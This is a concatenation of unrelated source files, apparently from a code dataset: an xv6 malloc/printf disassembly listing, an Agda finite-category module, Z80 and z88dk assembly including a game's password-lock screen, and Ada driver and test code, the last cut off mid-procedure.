565: c7 45 e4 60 08 00 00 movl $0x860,-0x1c(%ebp)
while(*s != 0){
56c: eb 1f jmp 58d <printf+0x121>
putc(fd, *s);
56e: 8b 45 e4 mov -0x1c(%ebp),%eax
571: 0f b6 00 movzbl (%eax),%eax
574: 0f be c0 movsbl %al,%eax
577: 89 44 24 04 mov %eax,0x4(%esp)
57b: 8b 45 08 mov 0x8(%ebp),%eax
57e: 89 04 24 mov %eax,(%esp)
581: e8 0a fe ff ff call 390 <putc>
s++;
586: 83 45 e4 01 addl $0x1,-0x1c(%ebp)
58a: eb 01 jmp 58d <printf+0x121>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
58c: 90 nop
58d: 8b 45 e4 mov -0x1c(%ebp),%eax
590: 0f b6 00 movzbl (%eax),%eax
593: 84 c0 test %al,%al
595: 75 d7 jne 56e <printf+0x102>
597: eb 68 jmp 601 <printf+0x195>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
599: 83 7d e8 63 cmpl $0x63,-0x18(%ebp)
59d: 75 1d jne 5bc <printf+0x150>
putc(fd, *ap);
59f: 8b 45 f4 mov -0xc(%ebp),%eax
5a2: 8b 00 mov (%eax),%eax
5a4: 0f be c0 movsbl %al,%eax
5a7: 89 44 24 04 mov %eax,0x4(%esp)
5ab: 8b 45 08 mov 0x8(%ebp),%eax
5ae: 89 04 24 mov %eax,(%esp)
5b1: e8 da fd ff ff call 390 <putc>
ap++;
5b6: 83 45 f4 04 addl $0x4,-0xc(%ebp)
5ba: eb 45 jmp 601 <printf+0x195>
} else if(c == '%'){
5bc: 83 7d e8 25 cmpl $0x25,-0x18(%ebp)
5c0: 75 17 jne 5d9 <printf+0x16d>
putc(fd, c);
5c2: 8b 45 e8 mov -0x18(%ebp),%eax
5c5: 0f be c0 movsbl %al,%eax
5c8: 89 44 24 04 mov %eax,0x4(%esp)
5cc: 8b 45 08 mov 0x8(%ebp),%eax
5cf: 89 04 24 mov %eax,(%esp)
5d2: e8 b9 fd ff ff call 390 <putc>
5d7: eb 28 jmp 601 <printf+0x195>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5d9: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
5e0: 00
5e1: 8b 45 08 mov 0x8(%ebp),%eax
5e4: 89 04 24 mov %eax,(%esp)
5e7: e8 a4 fd ff ff call 390 <putc>
putc(fd, c);
5ec: 8b 45 e8 mov -0x18(%ebp),%eax
5ef: 0f be c0 movsbl %al,%eax
5f2: 89 44 24 04 mov %eax,0x4(%esp)
5f6: 8b 45 08 mov 0x8(%ebp),%eax
5f9: 89 04 24 mov %eax,(%esp)
5fc: e8 8f fd ff ff call 390 <putc>
}
state = 0;
601: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
608: 83 45 ec 01 addl $0x1,-0x14(%ebp)
60c: 8b 55 0c mov 0xc(%ebp),%edx
60f: 8b 45 ec mov -0x14(%ebp),%eax
612: 8d 04 02 lea (%edx,%eax,1),%eax
615: 0f b6 00 movzbl (%eax),%eax
618: 84 c0 test %al,%al
61a: 0f 85 6e fe ff ff jne 48e <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
620: c9 leave
621: c3 ret
622: 90 nop
623: 90 nop
00000624 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
624: 55 push %ebp
625: 89 e5 mov %esp,%ebp
627: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
62a: 8b 45 08 mov 0x8(%ebp),%eax
62d: 83 e8 08 sub $0x8,%eax
630: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
633: a1 84 08 00 00 mov 0x884,%eax
638: 89 45 fc mov %eax,-0x4(%ebp)
63b: eb 24 jmp 661 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
63d: 8b 45 fc mov -0x4(%ebp),%eax
640: 8b 00 mov (%eax),%eax
642: 3b 45 fc cmp -0x4(%ebp),%eax
645: 77 12 ja 659 <free+0x35>
647: 8b 45 f8 mov -0x8(%ebp),%eax
64a: 3b 45 fc cmp -0x4(%ebp),%eax
64d: 77 24 ja 673 <free+0x4f>
64f: 8b 45 fc mov -0x4(%ebp),%eax
652: 8b 00 mov (%eax),%eax
654: 3b 45 f8 cmp -0x8(%ebp),%eax
657: 77 1a ja 673 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
659: 8b 45 fc mov -0x4(%ebp),%eax
65c: 8b 00 mov (%eax),%eax
65e: 89 45 fc mov %eax,-0x4(%ebp)
661: 8b 45 f8 mov -0x8(%ebp),%eax
664: 3b 45 fc cmp -0x4(%ebp),%eax
667: 76 d4 jbe 63d <free+0x19>
669: 8b 45 fc mov -0x4(%ebp),%eax
66c: 8b 00 mov (%eax),%eax
66e: 3b 45 f8 cmp -0x8(%ebp),%eax
671: 76 ca jbe 63d <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
673: 8b 45 f8 mov -0x8(%ebp),%eax
676: 8b 40 04 mov 0x4(%eax),%eax
679: c1 e0 03 shl $0x3,%eax
67c: 89 c2 mov %eax,%edx
67e: 03 55 f8 add -0x8(%ebp),%edx
681: 8b 45 fc mov -0x4(%ebp),%eax
684: 8b 00 mov (%eax),%eax
686: 39 c2 cmp %eax,%edx
688: 75 24 jne 6ae <free+0x8a>
bp->s.size += p->s.ptr->s.size;
68a: 8b 45 f8 mov -0x8(%ebp),%eax
68d: 8b 50 04 mov 0x4(%eax),%edx
690: 8b 45 fc mov -0x4(%ebp),%eax
693: 8b 00 mov (%eax),%eax
695: 8b 40 04 mov 0x4(%eax),%eax
698: 01 c2 add %eax,%edx
69a: 8b 45 f8 mov -0x8(%ebp),%eax
69d: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
6a0: 8b 45 fc mov -0x4(%ebp),%eax
6a3: 8b 00 mov (%eax),%eax
6a5: 8b 10 mov (%eax),%edx
6a7: 8b 45 f8 mov -0x8(%ebp),%eax
6aa: 89 10 mov %edx,(%eax)
6ac: eb 0a jmp 6b8 <free+0x94>
} else
bp->s.ptr = p->s.ptr;
6ae: 8b 45 fc mov -0x4(%ebp),%eax
6b1: 8b 10 mov (%eax),%edx
6b3: 8b 45 f8 mov -0x8(%ebp),%eax
6b6: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
6b8: 8b 45 fc mov -0x4(%ebp),%eax
6bb: 8b 40 04 mov 0x4(%eax),%eax
6be: c1 e0 03 shl $0x3,%eax
6c1: 03 45 fc add -0x4(%ebp),%eax
6c4: 3b 45 f8 cmp -0x8(%ebp),%eax
6c7: 75 20 jne 6e9 <free+0xc5>
p->s.size += bp->s.size;
6c9: 8b 45 fc mov -0x4(%ebp),%eax
6cc: 8b 50 04 mov 0x4(%eax),%edx
6cf: 8b 45 f8 mov -0x8(%ebp),%eax
6d2: 8b 40 04 mov 0x4(%eax),%eax
6d5: 01 c2 add %eax,%edx
6d7: 8b 45 fc mov -0x4(%ebp),%eax
6da: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6dd: 8b 45 f8 mov -0x8(%ebp),%eax
6e0: 8b 10 mov (%eax),%edx
6e2: 8b 45 fc mov -0x4(%ebp),%eax
6e5: 89 10 mov %edx,(%eax)
6e7: eb 08 jmp 6f1 <free+0xcd>
} else
p->s.ptr = bp;
6e9: 8b 45 fc mov -0x4(%ebp),%eax
6ec: 8b 55 f8 mov -0x8(%ebp),%edx
6ef: 89 10 mov %edx,(%eax)
freep = p;
6f1: 8b 45 fc mov -0x4(%ebp),%eax
6f4: a3 84 08 00 00 mov %eax,0x884
}
6f9: c9 leave
6fa: c3 ret
000006fb <morecore>:
static Header*
morecore(uint nu)
{
6fb: 55 push %ebp
6fc: 89 e5 mov %esp,%ebp
6fe: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
701: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
708: 77 07 ja 711 <morecore+0x16>
nu = 4096;
70a: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
711: 8b 45 08 mov 0x8(%ebp),%eax
714: c1 e0 03 shl $0x3,%eax
717: 89 04 24 mov %eax,(%esp)
71a: e8 51 fc ff ff call 370 <sbrk>
71f: 89 45 f0 mov %eax,-0x10(%ebp)
if(p == (char*)-1)
722: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp)
726: 75 07 jne 72f <morecore+0x34>
return 0;
728: b8 00 00 00 00 mov $0x0,%eax
72d: eb 22 jmp 751 <morecore+0x56>
hp = (Header*)p;
72f: 8b 45 f0 mov -0x10(%ebp),%eax
732: 89 45 f4 mov %eax,-0xc(%ebp)
hp->s.size = nu;
735: 8b 45 f4 mov -0xc(%ebp),%eax
738: 8b 55 08 mov 0x8(%ebp),%edx
73b: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
73e: 8b 45 f4 mov -0xc(%ebp),%eax
741: 83 c0 08 add $0x8,%eax
744: 89 04 24 mov %eax,(%esp)
747: e8 d8 fe ff ff call 624 <free>
return freep;
74c: a1 84 08 00 00 mov 0x884,%eax
}
751: c9 leave
752: c3 ret
00000753 <malloc>:
void*
malloc(uint nbytes)
{
753: 55 push %ebp
754: 89 e5 mov %esp,%ebp
756: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
759: 8b 45 08 mov 0x8(%ebp),%eax
75c: 83 c0 07 add $0x7,%eax
75f: c1 e8 03 shr $0x3,%eax
762: 83 c0 01 add $0x1,%eax
765: 89 45 f4 mov %eax,-0xc(%ebp)
if((prevp = freep) == 0){
768: a1 84 08 00 00 mov 0x884,%eax
76d: 89 45 f0 mov %eax,-0x10(%ebp)
770: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
774: 75 23 jne 799 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
776: c7 45 f0 7c 08 00 00 movl $0x87c,-0x10(%ebp)
77d: 8b 45 f0 mov -0x10(%ebp),%eax
780: a3 84 08 00 00 mov %eax,0x884
785: a1 84 08 00 00 mov 0x884,%eax
78a: a3 7c 08 00 00 mov %eax,0x87c
base.s.size = 0;
78f: c7 05 80 08 00 00 00 movl $0x0,0x880
796: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
799: 8b 45 f0 mov -0x10(%ebp),%eax
79c: 8b 00 mov (%eax),%eax
79e: 89 45 ec mov %eax,-0x14(%ebp)
if(p->s.size >= nunits){
7a1: 8b 45 ec mov -0x14(%ebp),%eax
7a4: 8b 40 04 mov 0x4(%eax),%eax
7a7: 3b 45 f4 cmp -0xc(%ebp),%eax
7aa: 72 4d jb 7f9 <malloc+0xa6>
if(p->s.size == nunits)
7ac: 8b 45 ec mov -0x14(%ebp),%eax
7af: 8b 40 04 mov 0x4(%eax),%eax
7b2: 3b 45 f4 cmp -0xc(%ebp),%eax
7b5: 75 0c jne 7c3 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
7b7: 8b 45 ec mov -0x14(%ebp),%eax
7ba: 8b 10 mov (%eax),%edx
7bc: 8b 45 f0 mov -0x10(%ebp),%eax
7bf: 89 10 mov %edx,(%eax)
7c1: eb 26 jmp 7e9 <malloc+0x96>
else {
p->s.size -= nunits;
7c3: 8b 45 ec mov -0x14(%ebp),%eax
7c6: 8b 40 04 mov 0x4(%eax),%eax
7c9: 89 c2 mov %eax,%edx
7cb: 2b 55 f4 sub -0xc(%ebp),%edx
7ce: 8b 45 ec mov -0x14(%ebp),%eax
7d1: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
7d4: 8b 45 ec mov -0x14(%ebp),%eax
7d7: 8b 40 04 mov 0x4(%eax),%eax
7da: c1 e0 03 shl $0x3,%eax
7dd: 01 45 ec add %eax,-0x14(%ebp)
p->s.size = nunits;
7e0: 8b 45 ec mov -0x14(%ebp),%eax
7e3: 8b 55 f4 mov -0xc(%ebp),%edx
7e6: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
7e9: 8b 45 f0 mov -0x10(%ebp),%eax
7ec: a3 84 08 00 00 mov %eax,0x884
return (void*)(p + 1);
7f1: 8b 45 ec mov -0x14(%ebp),%eax
7f4: 83 c0 08 add $0x8,%eax
7f7: eb 38 jmp 831 <malloc+0xde>
}
if(p == freep)
7f9: a1 84 08 00 00 mov 0x884,%eax
7fe: 39 45 ec cmp %eax,-0x14(%ebp)
801: 75 1b jne 81e <malloc+0xcb>
if((p = morecore(nunits)) == 0)
803: 8b 45 f4 mov -0xc(%ebp),%eax
806: 89 04 24 mov %eax,(%esp)
809: e8 ed fe ff ff call 6fb <morecore>
80e: 89 45 ec mov %eax,-0x14(%ebp)
811: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
815: 75 07 jne 81e <malloc+0xcb>
return 0;
817: b8 00 00 00 00 mov $0x0,%eax
81c: eb 13 jmp 831 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
81e: 8b 45 ec mov -0x14(%ebp),%eax
821: 89 45 f0 mov %eax,-0x10(%ebp)
824: 8b 45 ec mov -0x14(%ebp),%eax
827: 8b 00 mov (%eax),%eax
829: 89 45 ec mov %eax,-0x14(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
82c: e9 70 ff ff ff jmp 7a1 <malloc+0x4e>
}
831: c9 leave
832: c3 ret
|
Categories/Category/Finite.agda | Taneb/agda-categories | 0 | 9170 | {-# OPTIONS --without-K --safe #-}
module Categories.Category.Finite where
open import Level
open import Data.Product using (Σ; _,_; ∃₂)
open import Function.Equality using (Π; _⟶_)
open import Function.Inverse
open import Data.Nat as ℕ hiding (_⊔_)
import Data.Fin as Fin
open import Data.Vec as Vec
open import Relation.Binary using (Setoid)
import Relation.Binary.PropositionalEquality as ≡
open import Categories.Category
open Π
FiniteSetoid : ∀ {c ℓ} n (S : Setoid c ℓ) → Set _
FiniteSetoid n S = Inverse (≡.setoid (Fin.Fin n)) S
record Finite {o ℓ e} (C : Category o ℓ e) : Set (o ⊔ ℓ ⊔ e) where
open Category C
field
∣Obj∣ : ℕ
∣_⇒_∣ : Obj → Obj → ℕ
Obj-finite : FiniteSetoid ∣Obj∣ (≡.setoid Obj)
⇒-finite : ∀ A B → FiniteSetoid ∣ A ⇒ B ∣ (hom-setoid {A} {B})
module Obj-finite = Inverse Obj-finite
module ⇒-finite A B = Inverse (⇒-finite A B)
private
Fins : ∀ n → Vec (Fin.Fin n) n
Fins ℕ.zero = []
Fins (ℕ.suc n) = Fin.fromℕ n ∷ Vec.map (Fin.raise 1) (Fins n)
-- enumeration of all objects
Objs : Vec Obj ∣Obj∣
Objs = Vec.map (Obj-finite.to ⟨$⟩_) (Fins ∣Obj∣)
private
ObjPairs : ∀ {a} {A : Set a} → (Obj → Obj → A) → Vec A (∣Obj∣ * ∣Obj∣)
ObjPairs {_} {A} f = Objs >>= ap
where ap : Obj → Vec A ∣Obj∣
ap X = Vec.map (f X) Objs
-- enumeration of all morphisms of a given pair of objects
⟦_⇒_⟧ : ∀ A B → Vec (A ⇒ B) ∣ A ⇒ B ∣
⟦ A ⇒ B ⟧ = Vec.map (⇒-finite.to A B ⟨$⟩_) (Fins ∣ A ⇒ B ∣)
-- number of all morphisms
∣-⇒-| : ℕ
∣-⇒-| = foldr (λ _ → ℕ) _+_ 0 (ObjPairs ∣_⇒_∣)
|
libsrc/_DEVELOPMENT/alloc/balloc/c/sdcc_iy/balloc_firstfit.asm | jpoikela/z88dk | 640 | 84351 |
; void *balloc_firstfit(unsigned int queue, unsigned char num)
SECTION code_clib
SECTION code_alloc_balloc
PUBLIC _balloc_firstfit
EXTERN asm_balloc_firstfit
_balloc_firstfit:
pop af
pop hl
push hl
push af
jp asm_balloc_firstfit
|
components/src/io_expander/MCP23xxx/mcp23x08.ads | rocher/Ada_Drivers_Library | 192 | 28487 | <filename>components/src/io_expander/MCP23xxx/mcp23x08.ads
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2015-2018, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- The MCP23008 and MCP23S08 are two versions of the same chip, respectively
-- with an I2C and SPI interface. This package provides an abstract
-- implementation of the features common to both chips.
--
-- Please use the MCP23008 (or MCP23x008.I2C) package for the I2C interface.
-- The SPI interface is not implemented yet.
with HAL; use HAL;
with HAL.GPIO;
package MCP23x08 is
type MCP23x08_Pin is (Pin_0, Pin_1, Pin_2, Pin_3,
Pin_4, Pin_5, Pin_6, Pin_7);
type MCP23x08_IO_Expander is abstract tagged private;
procedure Configure (This : in out MCP23x08_IO_Expander;
Pin : MCP23x08_Pin;
Output : Boolean;
Pull_Up : Boolean);
-- Configure single pin as input or output and optinaly enable the pull-up
-- resistor.
procedure Configure_Mode (This : in out MCP23x08_IO_Expander;
Pin : MCP23x08_Pin;
Output : Boolean);
-- Configure single pin as input or output
function Is_Output (This : in out MCP23x08_IO_Expander;
Pin : MCP23x08_Pin)
return Boolean;
procedure Configure_Pull (This : in out MCP23x08_IO_Expander;
Pin : MCP23x08_Pin;
Pull_Up : Boolean);
-- Configure single pin pull up resistor
function Pull_Up (This : MCP23x08_IO_Expander;
Pin : MCP23x08_Pin) return Boolean;
-- Return True if the internal pull-up resistor in enabled
function Set (This : MCP23x08_IO_Expander;
Pin : MCP23x08_Pin) return Boolean;
-- Return the curent status of Pin
procedure Set (This : in out MCP23x08_IO_Expander;
Pin : MCP23x08_Pin);
-- Change status of Pin to logic high
procedure Clear (This : in out MCP23x08_IO_Expander;
Pin : MCP23x08_Pin);
-- Change status of Pin to logic low
procedure Toggle (This : in out MCP23x08_IO_Expander;
Pin : MCP23x08_Pin);
-- Toggle status of Pin
type ALl_IO_Array is array (MCP23x08_Pin) of Boolean
with Pack, Size => 8;
function All_IO (This : in out MCP23x08_IO_Expander) return ALl_IO_Array;
-- Return the current status of all pins in an array
procedure Set_All_IO (This : in out MCP23x08_IO_Expander;
IOs : ALl_IO_Array);
-- Set the current status of all pins with an array
function As_GPIO_Point (This : in out MCP23x08_IO_Expander;
Pin : MCP23x08_Pin)
return not null HAL.GPIO.Any_GPIO_Point;
-- Return the HAL.GPIO interface conresponding to Pin
private
for MCP23x08_Pin use
(Pin_0 => 16#0001#,
Pin_1 => 16#0002#,
Pin_2 => 16#0004#,
Pin_3 => 16#0008#,
Pin_4 => 16#0010#,
Pin_5 => 16#0020#,
Pin_6 => 16#0040#,
Pin_7 => 16#0080#);
type MCP23_GPIO_Point is new HAL.GPIO.GPIO_Point with record
Device : access MCP23x08_IO_Expander;
Pin : MCP23x08_Pin;
end record;
-- Internal implementation of HAL.GPIO interface
overriding
function Support (This : MCP23_GPIO_Point;
Capa : HAL.GPIO.Capability)
return Boolean
is (case Capa is
when HAL.GPIO.Pull_Down => False,
when others => True);
overriding
function Mode (This : MCP23_GPIO_Point) return HAL.GPIO.GPIO_Mode;
overriding
procedure Set_Mode (This : in out MCP23_GPIO_Point;
Mode : HAL.GPIO.GPIO_Config_Mode);
overriding
function Pull_Resistor (This : MCP23_GPIO_Point)
return HAL.GPIO.GPIO_Pull_Resistor;
overriding
procedure Set_Pull_Resistor (This : in out MCP23_GPIO_Point;
Pull : HAL.GPIO.GPIO_Pull_Resistor);
overriding
function Set (This : MCP23_GPIO_Point) return Boolean;
overriding
procedure Set (This : in out MCP23_GPIO_Point);
overriding
procedure Clear (This : in out MCP23_GPIO_Point);
overriding
procedure Toggle (This : in out MCP23_GPIO_Point);
type MCP23_GPIO_Point_Array is array (MCP23x08_Pin) of
aliased MCP23_GPIO_Point;
--------------------------
-- MCP23x08_IO_Expander --
--------------------------
type MCP23x08_IO_Expander is abstract tagged record
Points : MCP23_GPIO_Point_Array;
end record;
----------------------------
-- IO private subprograms --
----------------------------
type Register_Address is new UInt8;
procedure IO_Write
(This : in out MCP23x08_IO_Expander;
WriteAddr : Register_Address;
Value : UInt8) is null;
-- This procedure must be overridden by the I2C or SPI implementation
procedure IO_Read
(This : MCP23x08_IO_Expander;
ReadAddr : Register_Address;
Value : out UInt8) is null;
-- This procedure must be overridden by the I2C or SPI implementation
IO_DIRECTION_REG : constant Register_Address := 16#00#;
INPUT_POLARITY_REG : constant Register_Address := 16#01#;
INTERRUPT_ENABLE_REG : constant Register_Address := 16#02#;
DEFAULT_VALUE_REG : constant Register_Address := 16#03#;
INTERRUPT_CTRL_REG : constant Register_Address := 16#04#;
CONFIGURATION_REG : constant Register_Address := 16#05#;
PULL_UP_REG : constant Register_Address := 16#06#;
INTERRUPT_FLAG_REG : constant Register_Address := 16#07#;
INTERRUPT_CAPT_REG : constant Register_Address := 16#08#;
LOGIC_LEVLEL_REG : constant Register_Address := 16#09#;
OUTPUT_LATCH_REG : constant Register_Address := 16#0A#;
end MCP23x08;
|
src/state-password.asm | santiontanon/westen | 49 | 10385 | <filename>src/state-password.asm
;-----------------------------------------------
state_password_lock:
push ix
call state_password_lock_internal
pop ix
ret
state_password_lock_internal:
ld bc, TEXT_USE_VAMPIRE_DOOR_BANK + 256*TEXT_USE_VAMPIRE_DOOR_IDX
call queue_hud_message
ld hl,password_lock_zx0
ld de,buffer1024
call decompress_from_page1
xor a
ld hl,CLRTBL2 + (7*32 + 11)*8
ld bc,#050a
call clear_rectangle_bitmap_mode_color
ld ix,buffer1024
ld iy,8
ld de,CHRTBL2+(8*32+12)*8
ld bc,#0308
ld hl,buffer1024+8*3
ld (draw_hud_chunk_tile_ptr),hl
call draw_hud_chunk
; set up pointer sprite:
ld hl,keyword_lock_pointer_sprite
ld de,SPRTBL2+7*32
ld bc,32
call fast_LDIRVM
ld hl,buffer1024+900 ; enough to give space for the text data
ld (hl),56
inc hl
ld (hl),13*8-1
inc hl
ld (hl),7*4
inc hl
ld (hl),COLOR_WHITE
inc hl
ld (hl),0 ; current position
ld b,6
state_password_init_loop:
inc hl
ld (hl),0
djnz state_password_init_loop
; password starts at: buffer1024+900+5
call state_password_draw_current_password
state_password_lock_loop:
halt
ld a,(interrupt_cycle)
bit 3,a
ld a,COLOR_WHITE
jr z,state_password_lock_loop_blink
xor a
state_password_lock_loop_blink:
ld hl,buffer1024+900+3
ld (hl),a ; color
inc hl
ld a,(hl)
add a,a
add a,a
add a,a
add a,13*8-1
ld hl,buffer1024+900+1
ld (hl),a ; x
dec hl
ld de,SPRATR2+7*4
ld bc,4
call fast_LDIRVM
call update_hud_messages
call update_keyboard_buffers
ld a,(keyboard_line_clicks+KEY_BUTTON1_BYTE)
bit KEY_BUTTON1_BIT,a
jr nz,state_password_lock_loop_exit
bit KEY_LEFT_BIT,a
jr nz,state_password_lock_left
bit KEY_RIGHT_BIT,a
jr nz,state_password_lock_right
bit KEY_UP_BIT,a
jr nz,state_password_lock_up
bit KEY_DOWN_BIT,a
jr nz,state_password_lock_down
jr state_password_lock_loop
state_password_lock_loop_exit:
; remove pointer sprite
ld a,200
ld hl,SPRATR2+7*4
call WRTVRM
; re-render the room:
ld de,11 + 7*256
ld bc,10+5*256
jp render_room_rectangle
state_password_lock_left:
ld hl,buffer1024+900+4
ld a,(hl)
or a
jr z,state_password_lock_loop
dec (hl)
ld hl,SFX_ui_move
call play_SFX_with_high_priority
jr state_password_lock_loop
state_password_lock_right:
ld hl,buffer1024+900+4
ld a,(hl)
cp 5
jr z,state_password_lock_loop
inc (hl)
ld hl,SFX_ui_move
call play_SFX_with_high_priority
jr state_password_lock_loop
state_password_lock_up:
ld a,(buffer1024+900+4) ; current position
ld hl,buffer1024+900+5
ADD_HL_A
ld a,(hl)
or a
jr z,state_password_lock_up_reset
dec a
jr state_password_lock_up_continue
state_password_lock_up_reset:
ld a,26
state_password_lock_up_continue
ld (hl),a
call state_password_draw_current_password
ld hl,SFX_ui_move
call play_SFX_with_high_priority
jp state_password_lock_loop
state_password_lock_down:
ld a,(buffer1024+900+4) ; current position
ld hl,buffer1024+900+5
ADD_HL_A
ld a,(hl)
cp 26
jr z,state_password_lock_down_reset
inc a
jr state_password_lock_down_continue
state_password_lock_down_reset:
xor a
state_password_lock_down_continue
ld (hl),a
call state_password_draw_current_password
ld hl,SFX_ui_move
call play_SFX_with_high_priority
jp state_password_lock_loop
; password starts at buffer1024+900+5
; we use a temporary string buffer in buffer1024+900+5+6
state_password_draw_current_password:
ld b,6
ld hl,buffer1024+900+5
ld de,CHRTBL2+(9*32+13)*8
state_password_draw_current_password_loop:
push hl
push bc
push de
call state_password_draw_current_password_character
pop hl
ld bc,8
add hl,bc
ex de,hl
pop bc
pop hl
inc hl
djnz state_password_draw_current_password_loop
ret
state_password_draw_current_password_character:
push de
ld a,(hl)
ld hl,combination_lock_letters
ADD_HL_A
ld a,(hl)
push af
ld hl,text_draw_buffer
ld bc,8
ld a,#01
call clear_memory_a
pop af
ld hl,buffer1024+900+5+6
ld (hl),1 ; length of the string = 1
inc hl
ld (hl),a
dec hl
pop de
ld iy,COLOR_DARK_RED + #4000
ld bc,8
jp draw_sentence
|
awa/regtests/awa-helpers-selectors-tests.adb | fuzzysloth/ada-awa | 81 | 19819 | <filename>awa/regtests/awa-helpers-selectors-tests.adb<gh_stars>10-100
-----------------------------------------------------------------------
-- awa-helpers-selectors-tests -- Unit tests for selector helpers
-- Copyright (C) 2011, 2012, 2013 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Test_Caller;
with AWA.Tests;
with ADO.Sessions;
package body AWA.Helpers.Selectors.Tests is
package Caller is new Util.Test_Caller (Test, "Helpers.Selectors");
function Create_From_Color is new Create_From_Enum (Color, "color_");
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test AWA.Helpers.Selectors.Create_From_Query",
Test_Create_From_Query'Access);
Caller.Add_Test (Suite, "Test AWA.Helpers.Selectors.Create_From_Enum",
Test_Create_From_Enum'Access);
end Add_Tests;
-- ------------------------------
-- Test creation of selector from an SQL query
-- ------------------------------
procedure Test_Create_From_Query (T : in out Test) is
Session : constant ADO.Sessions.Session := AWA.Tests.Get_Application.Get_Session;
Query : constant String := "SELECT id, name from entity_type order by id";
Stmt : ADO.Statements.Query_Statement := Session.Create_Statement (Query);
Result : ASF.Models.Selects.Select_Item_List;
Found_User : Boolean := False;
begin
Append_From_Query (Result, Stmt);
T.Assert (Result.Length > 0, "The list should not be empty");
for I in 1 .. Result.Length loop
declare
Item : constant ASF.Models.Selects.Select_Item := Result.Get_Select_Item (I);
begin
-- The SQL query will return two different columns.
-- Just check that label and values are different.
T.Assert (Item.Get_Value /= Item.Get_Label, "Item and label are equals");
-- To make this test simple, check only for one known entry in the list.
if Item.Get_Label = "awa_user" then
Found_User := True;
end if;
end;
end loop;
T.Assert (Found_User, "The 'user' entity_type was not found in the selector list");
end Test_Create_From_Query;
-- ------------------------------
-- Test creation of selector from an enum definition
-- ------------------------------
procedure Test_Create_From_Enum (T : in out Test) is
Bundle : Util.Properties.Bundles.Manager;
Result : constant ASF.Models.Selects.Select_Item_List := Create_From_Color (Bundle);
begin
